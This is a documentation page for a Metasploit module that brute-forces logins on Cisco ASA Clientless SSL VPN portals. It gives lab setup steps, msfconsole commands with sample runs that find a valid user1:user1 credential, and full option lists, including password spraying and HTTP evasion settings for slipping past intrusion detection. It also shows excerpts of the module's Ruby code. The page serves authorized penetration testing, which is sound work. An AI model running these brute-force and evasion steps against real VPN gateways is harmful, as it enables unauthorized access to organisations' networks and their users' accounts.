Cisco ASA Clientless SSL VPN (WebVPN) Brute-force Login Utility - Metasploit


This page contains detailed information about how to use the auxiliary/scanner/http/cisco_asa_clientless_vpn metasploit module. For list of all metasploit modules, visit the Metasploit Module Library.

Module Overview


Name: Cisco ASA Clientless SSL VPN (WebVPN) Brute-force Login Utility
Module: auxiliary/scanner/http/cisco_asa_clientless_vpn
Source code: modules/auxiliary/scanner/http/cisco_asa_clientless_vpn.rb
Disclosure date: -
Last modification time: 2022-08-19 10:51:33 +0000
Supported architecture(s): -
Supported platform(s): -
Target service / protocol: http, https
Target network port(s): 80, 443, 3000, 8000, 8008, 8080, 8443, 8880, 8888
List of CVEs: -

This module scans for Cisco ASA Clientless SSL VPN (WebVPN) web login portals and performs login brute-force to identify valid credentials.

Module Ranking and Traits


Module Ranking:

  • normal: The exploit is otherwise reliable, but depends on a specific version and can't (or doesn't) reliably autodetect. More information about ranking can be found here.

Stability:

  • crash-safe: Module should not crash the service.

Side Effects:

  • ioc-in-logs: Module leaves signs of a compromise in a log file (Example: SQL injection data found in HTTP log).

Basic Usage


This module is a scanner module, and is capable of testing against multiple hosts.

msf > use auxiliary/scanner/http/cisco_asa_clientless_vpn
msf auxiliary(cisco_asa_clientless_vpn) > show options
    ... show and set options ...
msf auxiliary(cisco_asa_clientless_vpn) > set RHOSTS ip-range
msf auxiliary(cisco_asa_clientless_vpn) > exploit

Other examples of setting the RHOSTS option:

Example 1:

msf auxiliary(cisco_asa_clientless_vpn) > set RHOSTS 192.168.1.3-192.168.1.200 

Example 2:

msf auxiliary(cisco_asa_clientless_vpn) > set RHOSTS 192.168.1.1/24

Example 3:

msf auxiliary(cisco_asa_clientless_vpn) > set RHOSTS file:/tmp/ip_list.txt

Required Options


  • RHOSTS: The target host(s), see https://github.com/rapid7/metasploit-framework/wiki/Using-Metasploit

Knowledge Base


Vulnerable Application


Description

This module scans for Cisco ASA Clientless SSL VPN (WebVPN) web login portals and performs login brute-force to identify valid credentials.

Installation

Acquire a Cisco ASA device or virtual machine. For this description we will use Cisco Adaptive Security Virtual Appliance (ASAv) VMWare Package 9.18.1 (asav9-18-1.zip):

  • https://software.cisco.com/download/home/286119613/type/280775065/release/9.18.1

The official installation guide can be found here But for completeness, the following will guide the user to a full testing configuration. To start we'll make ASDM remotely accessible:

  1. Unzip the package
  2. Import asav-esxi.ovf in VMWare Fusion (or your VMWare product of choice).
  3. Select the ASAv5 - 1 Core / 2 GB (100 Mbps) deployment option.
  4. After the import is complete assign Network Adapter (1 is implied) the desired interface (e.g. I'll use Wi-Fi for my setup).
  5. Start the virtual machine
  6. Allow GRUB to boot the first option (this should happen twice)
  7. When provided with a command prompt (ciscoasa>) type en.
  8. Set an enable password (e.g. labpass1)
  9. Enter the following in the command line interface:
  10. conf t
  11. No
  12. interface GigabitEthernet 0/0
  13. nameif outside
  14. Assign a static ip address (note the assigned address should make sense within the context of you lab. For example, my lab network is 10.9.49.0/24): ip address 10.9.49.201 255.255.255.0
  15. no shutdown
  16. exit
  17. Set the default route (the last IP should point to your lab router): route outside 0.0.0.0 0.0.0.0 10.9.49.1
  18. Verify you can ping an outside host (e.g. ping 8.8.8.8)
  19. http server enable
  20. http 0.0.0.0 0.0.0.0 outside
  21. write
  22. exit

You should now be able to reach the ASA's web server remotely. From a remote host, execute the following curl command to the ASA to verify as much:

albinolobster@ubuntu:~$ curl -kv https://10.9.49.201
*   Trying 10.9.49.201:443...
* TCP_NODELAY set
...
> GET / HTTP/1.1`
> Host: 10.9.49.201
> User-Agent: curl/7.68.0
> Accept: */*
> 
* Mark bundle as not supporting multiuse
< HTTP/1.1 301 Moved Permanently
< Date: Tue, 21 Jun 2022 13:52:33 UTC
< Strict-Transport-Security: max-age=31536000
< X-XSS-Protection: 1
< Connection: close
< Location: /admin/public/index.html
< 
* Closing connection 0
* TLSv1.2 (OUT), TLS alert, close notify (256):

The next part of the installation will require a Windows machine. From your Windows machine:

  1. Connect to your ASA's web interface (e.g. https://10.9.49.201/admin/public/index.html).
  2. Click "Install ASDM Launcher"
  3. Enter creds blank:labpass1 (where blank is nothing and labpass1 is your enable password)
  4. Install the downloaded dm-launcher.msi (before 7.18.1 it will be unsigned)
  5. If Java isn't installed, intall Java 1.8 (current at time of writing is 8 Update 333): https://www.java.com/en/download/
  6. Start the ASDM Launcher via C:\Program Files (x86)\Cisco Systems\ASDM\run.bat
  7. Enter your ASAv's IP address (10.9.249.201)
  8. Enter a blank username
  9. Enter the enable password (labpass1)

Now to enable the webvpn interface from ASDM:

  1. Go to Configuration -> Remote Access VPN -> Clientless SSL VPN Access -> Connection Profiles
  2. In the Access Interfaces view, click the radio button to Allow Access from the outside interface
  3. Hit apply

Verify that the Clientless SSL VPN is now enabled by navigating to the SSL VPN login on your ASA. For example, navigate to https://10.9.49.201/+CSCOE+/logon.html.

Next, we'll create a Clientless SSL VPN user for brute-force testing. From ASDM:

  1. Go to Configuration -> Device Management -> Users/AAA -> User Accounts
  2. Click Add
  3. Keep the default username (user1)
  4. Enter and confirm a password (e.g. user1)
  5. Set the privilege level to 0 (I'm not sure this step is actually required but)
  6. Select the No ASDM, SSH, Telnet, or Console access radio
  7. Hit OK
  8. Hit Apply

Finally, we'll enable logging into the SSL VPN portal:

  1. Go to Configuration -> Device Management -> Users/AAA -> Dynamic Access Policies
  2. Select the DfltAccessPolicy and click Edit
  3. Select Access Method tab
  4. Click on the Web-Portal radio button

You should now be able to log in to the SSL VPN web portal using user1:user1.

Verification Steps


  • Follow the above instructions to configure ASAv, Clientless SSL VPN, and add a user for testing
  • Add the user to data/wordlists/http_default_userpass.txt as user1 user1
  • Do: use auxiliary/scanner/http/cisco_asa_clientless_vpn
  • Do: set RHOST <ip>
  • Do: set VERBOSE false
  • Do: run
  • You should see output indicating user1:user1 was successfully used for login.

Options


GROUP

The connection profile to use. By default this is blank, but administrators can configure various different profiles that users can select from the drop down menu at the top of the login page. The alias in the drop down is not the value of GROUP. You need to extract it from the HTML.

For example, my administrator has a profile named TunnelGroup1 using the alias alias1. The drop down menu will show alias1 but TunnelGroup1 is the required value. In the page's HTML you'll find:

<option value="TunnelGroup1" selected>alias1</option>

To use TunnelGroup1 you'd set GROUP TunnelGroup1.

USERPASS_FILE

File containing users and passwords separated by space, one pair per line.

USER_FILE

File containing users, one per line.

PASS_FILE

File containing passwords, one per line

Scenarios


ASAv 9.18.1 with Clientless SSL VPN enabled and the user1:user1 creds set.

Simply using the default HTTP username and password lists and user1:user1 added to data/wordlists/http_default_userpass.txt.

msf6 auxiliary(scanner/http/cisco_asa_clientless_vpn) > use auxiliary/scanner/http/cisco_asa_clientless_vpn
msf6 auxiliary(scanner/http/cisco_asa_clientless_vpn) > set VERBOSE false
VERBOSE => false
msf6 auxiliary(scanner/http/cisco_asa_clientless_vpn) > set RHOST 10.9.49.201
RHOST => 10.9.49.201
msf6 auxiliary(scanner/http/cisco_asa_clientless_vpn) > run

[*] The remote target appears to host Cisco SSL VPN Service. The module will continue.
[*] Starting login brute force...
[+] SUCCESSFUL LOGIN - "user1":"user1"
[*] Scanned 1 of 1 hosts (100% complete)
[*] Auxiliary module execution completed
msf6 auxiliary(scanner/http/cisco_asa_clientless_vpn) > 

ASAv 9.18.1 with Clientless SSL VPN enabled and the user1:user1 on the TunnelGroup1 Connection Profile


msf6 auxiliary(scanner/http/cisco_asa_clientless_vpn) > use auxiliary/scanner/http/cisco_asa_clientless_vpn
msf6 auxiliary(scanner/http/cisco_asa_clientless_vpn) > set VERBOSE false
VERBOSE => false
msf6 auxiliary(scanner/http/cisco_asa_clientless_vpn) > set RHOST 10.9.49.201
RHOST => 10.9.49.201
msf6 auxiliary(scanner/http/cisco_asa_clientless_vpn) > run

[*] The remote target appears to host Cisco SSL VPN Service. The module will continue.
[*] Starting login brute force...
[*] Scanned 1 of 1 hosts (100% complete)
[*] Auxiliary module execution completed
msf6 auxiliary(scanner/http/cisco_asa_clientless_vpn) > set GROUP TunnelGroup1
GROUP => TunnelGroup1
msf6 auxiliary(scanner/http/cisco_asa_clientless_vpn) > run

[*] The remote target appears to host Cisco SSL VPN Service. The module will continue.
[*] Starting login brute force...
[+] SUCCESSFUL LOGIN - "user1":"user1"
[*] Scanned 1 of 1 hosts (100% complete)
[*] Auxiliary module execution completed
msf6 auxiliary(scanner/http/cisco_asa_clientless_vpn) > 

Go back to menu.

Msfconsole Usage


Here is how the scanner/http/cisco_asa_clientless_vpn auxiliary module looks in the msfconsole:

msf6 > use auxiliary/scanner/http/cisco_asa_clientless_vpn

msf6 auxiliary(scanner/http/cisco_asa_clientless_vpn) > show info

       Name: Cisco ASA Clientless SSL VPN (WebVPN) Brute-force Login Utility
     Module: auxiliary/scanner/http/cisco_asa_clientless_vpn
    License: Metasploit Framework License (BSD)
       Rank: Normal

Provided by:
  Jonathan Claudius <[email protected]>
  jbaines-r7

Module side effects:
 ioc-in-logs

Module stability:
 crash-safe

Check supported:
  No

Basic options:
  Name              Current Setting                           Required  Description
  ----              ---------------                           --------  -----------
  BLANK_PASSWORDS   false                                     no        Try blank passwords for all users
  BRUTEFORCE_SPEED  5                                         yes       How fast to bruteforce, from 0 to 5
  DB_ALL_CREDS      false                                     no        Try each user/password couple stored in the current database
  DB_ALL_PASS       false                                     no        Add all passwords in the current database to the list
  DB_ALL_USERS      false                                     no        Add all users in the current database to the list
  DB_SKIP_EXISTING  none                                      no        Skip existing credentials stored in the current database (Accepted: none,
                                                                         user, user&realm)
  GROUP                                                       yes       The connection profile to log in to (blank by default)
  PASSWORD                                                    no        A specific password to authenticate with
  PASS_FILE         /opt/metasploit-framework/embedded/frame  no        File containing passwords, one per line
                    work/data/wordlists/http_default_pass.tx
                    t
  Proxies                                                     no        A proxy chain of format type:host:port[,type:host:port][...]
  RHOSTS                                                      yes       The target host(s), see https://github.com/rapid7/metasploit-framework/wi
                                                                        ki/Using-Metasploit
  RPORT             443                                       yes       The target port (TCP)
  SSL               true                                      no        Negotiate SSL/TLS for outgoing connections
  STOP_ON_SUCCESS   false                                     yes       Stop guessing when a credential works for a host
  THREADS           1                                         yes       The number of concurrent threads (max one per host)
  USERNAME                                                    no        A specific username to authenticate as
  USERPASS_FILE     /opt/metasploit-framework/embedded/frame  no        File containing users and passwords separated by space, one pair per line
                    work/data/wordlists/http_default_userpas
                    s.txt
  USER_AS_PASS      false                                     no        Try the username as the password for all users
  USER_FILE         /opt/metasploit-framework/embedded/frame  no        File containing users, one per line
                    work/data/wordlists/http_default_users.t
                    xt
  VERBOSE           true                                      yes       Whether to print output for all attempts
  VHOST                                                       no        HTTP server virtual host

Description:
  This module scans for Cisco ASA Clientless SSL VPN (WebVPN) web 
  login portals and performs login brute-force to identify valid 
  credentials.

References:
  https://www.cisco.com/c/en/us/support/docs/security-vpn/webvpn-ssl-vpn/119417-config-asa-00.html

Module Options


This is a complete list of options available in the scanner/http/cisco_asa_clientless_vpn auxiliary module:

msf6 auxiliary(scanner/http/cisco_asa_clientless_vpn) > show options

Module options (auxiliary/scanner/http/cisco_asa_clientless_vpn):

   Name              Current Setting                           Required  Description
   ----              ---------------                           --------  -----------
   BLANK_PASSWORDS   false                                     no        Try blank passwords for all users
   BRUTEFORCE_SPEED  5                                         yes       How fast to bruteforce, from 0 to 5
   DB_ALL_CREDS      false                                     no        Try each user/password couple stored in the current database
   DB_ALL_PASS       false                                     no        Add all passwords in the current database to the list
   DB_ALL_USERS      false                                     no        Add all users in the current database to the list
   DB_SKIP_EXISTING  none                                      no        Skip existing credentials stored in the current database (Accepted: none
                                                                         , user, user&realm)
   GROUP                                                       yes       The connection profile to log in to (blank by default)
   PASSWORD                                                    no        A specific password to authenticate with
   PASS_FILE         /opt/metasploit-framework/embedded/frame  no        File containing passwords, one per line
                     work/data/wordlists/http_default_pass.tx
                     t
   Proxies                                                     no        A proxy chain of format type:host:port[,type:host:port][...]
   RHOSTS                                                      yes       The target host(s), see https://github.com/rapid7/metasploit-framework/w
                                                                         iki/Using-Metasploit
   RPORT             443                                       yes       The target port (TCP)
   SSL               true                                      no        Negotiate SSL/TLS for outgoing connections
   STOP_ON_SUCCESS   false                                     yes       Stop guessing when a credential works for a host
   THREADS           1                                         yes       The number of concurrent threads (max one per host)
   USERNAME                                                    no        A specific username to authenticate as
   USERPASS_FILE     /opt/metasploit-framework/embedded/frame  no        File containing users and passwords separated by space, one pair per lin
                     work/data/wordlists/http_default_userpas            e
                     s.txt
   USER_AS_PASS      false                                     no        Try the username as the password for all users
   USER_FILE         /opt/metasploit-framework/embedded/frame  no        File containing users, one per line
                     work/data/wordlists/http_default_users.t
                     xt
   VERBOSE           true                                      yes       Whether to print output for all attempts
   VHOST                                                       no        HTTP server virtual host

Advanced Options


Here is a complete list of advanced options supported by the scanner/http/cisco_asa_clientless_vpn auxiliary module:

msf6 auxiliary(scanner/http/cisco_asa_clientless_vpn) > show advanced

Module advanced options (auxiliary/scanner/http/cisco_asa_clientless_vpn):

   Name                     Current Setting                        Required  Description
   ----                     ---------------                        --------  -----------
   DOMAIN                   WORKSTATION                            yes       The domain to use for Windows authentication
   DigestAuthIIS            true                                   no        Conform to IIS, should work for most servers. Only set to false for
                                                                             non-IIS servers
   FingerprintCheck         true                                   no        Conduct a pre-exploit fingerprint verification
   HttpClientTimeout                                               no        HTTP connection and receive timeout
   HttpPassword                                                    no        The HTTP password to specify for authentication
   HttpRawHeaders                                                  no        Path to ERB-templatized raw headers to append to existing headers
   HttpTrace                false                                  no        Show the raw HTTP requests and responses
   HttpTraceColors          red/blu                                no        HTTP request and response colors for HttpTrace (unset to disable)
   HttpTraceHeadersOnly     false                                  no        Show HTTP headers only in HttpTrace
   HttpUsername                                                    no        The HTTP username to specify for authentication
   MaxGuessesPerService     0                                      no        Maximum number of credentials to try per service instance. If set to
                                                                              zero or a non-number, this option will not be used.
   MaxGuessesPerUser        0                                      no        Maximum guesses for a particular username for the service instance.
                                                                             Note that users are considered unique among different services, so a
                                                                              user at 10.1.1.1:22 is different from one at 10.2.2.2:22, and both
                                                                             will be tried up to the MaxGuessesPerUser limit. If set to zero or a
                                                                              non-number, this option will not be used.
   MaxMinutesPerService     0                                      no        Maximum time in minutes to bruteforce the service instance. If set t
                                                                             o zero or a non-number, this option will not be used.
   PASSWORD_SPRAY           false                                  yes       Reverse the credential pairing order. For each password, attempt eve
                                                                             ry possible user.
   REMOVE_PASS_FILE         false                                  yes       Automatically delete the PASS_FILE on module completion
   REMOVE_USERPASS_FILE     false                                  yes       Automatically delete the USERPASS_FILE on module completion
   REMOVE_USER_FILE         false                                  yes       Automatically delete the USER_FILE on module completion
   SSLServerNameIndication                                         no        SSL/TLS Server Name Indication (SNI)
   SSLVersion               Auto                                   yes       Specify the version of SSL/TLS to be used (Auto, TLS and SSL23 are a
                                                                             uto-negotiate) (Accepted: Auto, TLS, SSL23, SSL3, TLS1, TLS1.1, TLS1
                                                                             .2)
   ShowProgress             true                                   yes       Display progress messages during a scan
   ShowProgressPercent      10                                     yes       The interval in percent that progress should be shown
   TRANSITION_DELAY         0                                      no        Amount of time (in minutes) to delay before transitioning to the nex
                                                                             t user in the array (or password when PASSWORD_SPRAY=true)
   UserAgent                Mozilla/5.0 (Macintosh; Intel Mac OS   no        The User-Agent header to use for all requests
                            X 12.2; rv:97.0) Gecko/20100101 Firef
                            ox/97.0
   WORKSPACE                                                       no        Specify the workspace for this module

Auxiliary Actions


This is a list of all auxiliary actions that the scanner/http/cisco_asa_clientless_vpn module can do:

msf6 auxiliary(scanner/http/cisco_asa_clientless_vpn) > show actions

Auxiliary actions:

   Name  Description
   ----  -----------

Evasion Options


Here is the full list of possible evasion options supported by the scanner/http/cisco_asa_clientless_vpn auxiliary module in order to evade defenses (e.g. Antivirus, EDR, Firewall, NIDS etc.):

msf6 auxiliary(scanner/http/cisco_asa_clientless_vpn) > show evasion

Module evasion options:

   Name                          Current Setting  Required  Description
   ----                          ---------------  --------  -----------
   HTTP::header_folding          false            no        Enable folding of HTTP headers
   HTTP::method_random_case      false            no        Use random casing for the HTTP method
   HTTP::method_random_invalid   false            no        Use a random invalid, HTTP method for request
   HTTP::method_random_valid     false            no        Use a random, but valid, HTTP method for request
   HTTP::pad_fake_headers        false            no        Insert random, fake headers into the HTTP request
   HTTP::pad_fake_headers_count  0                no        How many fake headers to insert into the HTTP request
   HTTP::pad_get_params          false            no        Insert random, fake query string variables into the request
   HTTP::pad_get_params_count    16               no        How many fake query string variables to insert into the request
   HTTP::pad_method_uri_count    1                no        How many whitespace characters to use between the method and uri
   HTTP::pad_method_uri_type     space            no        What type of whitespace to use between the method and uri (Accepted: space, tab, apac
                                                            he)
   HTTP::pad_post_params         false            no        Insert random, fake post variables into the request
   HTTP::pad_post_params_count   16               no        How many fake post variables to insert into the request
   HTTP::pad_uri_version_count   1                no        How many whitespace characters to use between the uri and version
   HTTP::pad_uri_version_type    space            no        What type of whitespace to use between the uri and version (Accepted: space, tab, apa
                                                            che)
   HTTP::shuffle_get_params      false            no        Randomize order of GET parameters
   HTTP::shuffle_post_params     false            no        Randomize order of POST parameters
   HTTP::uri_dir_fake_relative   false            no        Insert fake relative directories into the uri
   HTTP::uri_dir_self_reference  false            no        Insert self-referential directories into the uri
   HTTP::uri_encode_mode         hex-normal       no        Enable URI encoding (Accepted: none, hex-normal, hex-noslashes, hex-random, hex-all,
                                                            u-normal, u-all, u-random)
   HTTP::uri_fake_end            false            no        Add a fake end of URI (eg: /%20HTTP/1.0/../../)
   HTTP::uri_fake_params_start   false            no        Add a fake start of params to the URI (eg: /%3fa=b/../)
   HTTP::uri_full_url            false            no        Use the full URL for all HTTP requests
   HTTP::uri_use_backslashes     false            no        Use back slashes instead of forward slashes in the uri
   HTTP::version_random_invalid  false            no        Use a random invalid, HTTP version for request
   HTTP::version_random_valid    false            no        Use a random, but valid, HTTP version for request

Go back to menu.

Error Messages


This module may fail with the following error messages:

Check for the possible causes from the code snippets below found in the module source code. This can often times help in identifying the root cause of the problem.

Cisco SSL VPN Service not detected on the remote target


Here is a relevant code snippet related to the "Cisco SSL VPN Service not detected on the remote target" error message:

68:	
69:	      each_user_pass do |user, pass|
70:	        do_login(user, pass)
71:	      end
72:	    else
73:	      print_status('Cisco SSL VPN Service not detected on the remote target')
74:	    end
75:	  end
76:	
77:	  def report_cred(opts)
78:	    service_data = {

Failed to grab the CSRF token


Here is a relevant code snippet related to the "Failed to grab the CSRF token" error message:

125:	      csrf_token = res.body[/<input name="csrf_token" type=hidden value="(?<token>[0-9a-f]+)">/, :token]
126:	      if csrf_token
127:	        vars_hash['csrf_token'] = csrf_token
128:	        cookie = "#{cookie}; CSRFtoken=#{csrf_token};"
129:	      else
130:	        print_error('Failed to grab the CSRF token')
131:	        return
132:	      end
133:	    end
134:	
135:	    # only add the group if the user specifies a non-empty value

FAILED LOGIN - <USER.INSPECT>:<PASS.INSPECT>


Here is a relevant code snippet related to the "FAILED LOGIN - <USER.INSPECT>:<PASS.INSPECT>" error message:

167:	        end
168:	      else
169:	        send_request_cgi('uri' => normalize_uri('/+webvpn+/webvpn_logout.html'), 'cookie' => res.get_cookies)
170:	      end
171:	
172:	      return :next_user
173:	    else
174:	      vprint_error("FAILED LOGIN - #{user.inspect}:#{pass.inspect}")
175:	    end
176:	  end
177:	end

Go back to menu.


References


See Also


Check also the following modules related to this module:

Authors


  • Jonathan Claudius <jclaudius[at]trustwave.com>
  • jbaines-r7

Version


This page has been produced using Metasploit Framework version 6.2.23-dev. For more modules, visit the Metasploit Module Library.

Go back to menu.